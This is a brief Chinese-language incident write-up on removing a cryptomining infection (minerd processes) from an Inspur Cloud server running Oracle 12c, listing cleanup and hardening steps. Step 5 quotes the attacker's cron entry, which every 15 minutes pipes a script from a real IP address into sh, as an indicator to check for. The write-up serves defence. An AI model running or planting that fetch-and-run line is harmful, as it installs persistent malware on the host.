浪潮云上处理挖矿病毒

问题说明：一台浪潮云上的服务器中部署Oracle 12c，发现其执行SQL语句时异常缓慢

问题排查：

1、查看服务器内存，16G的内存只有235M，设置了Oracle的sga、pga、memory_target和memory_max_target，并清理了缓冲，内存恢复正常，但问题依旧；

2、使用top命令查看进程，发现有2个minerd进程占用了近300%的CPU，怀疑是中了挖矿病毒，变成矿机挖取比特币（有些时候进程名为qW3xT.2）

问题解决：

1、通过PID获取病毒文件路径：# ll /proc/$PID/exe，$PID为进程对应的PID号

2、删除病毒文件，一般在/tmp目录下，且为隐藏目录和文件

3、使用kill命令结束进程

4、如果部署了redis应用，修改redis默认的6379端口

5、检查计划任务中的内容：# ls /var/spool/cron，有无类似内容

*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh

6、检查是否添加未知系统用户：# cat /etc/passwd

7、检查免密认证文件是否有未知的IP：# cat /root/.ssh/known_hosts

8、检查/etc/rc.d/init.d（CentOS 6.x）中是否有异常程序

9、检查开机启动项：# chkconfig --list

10、服务器防火墙安全加固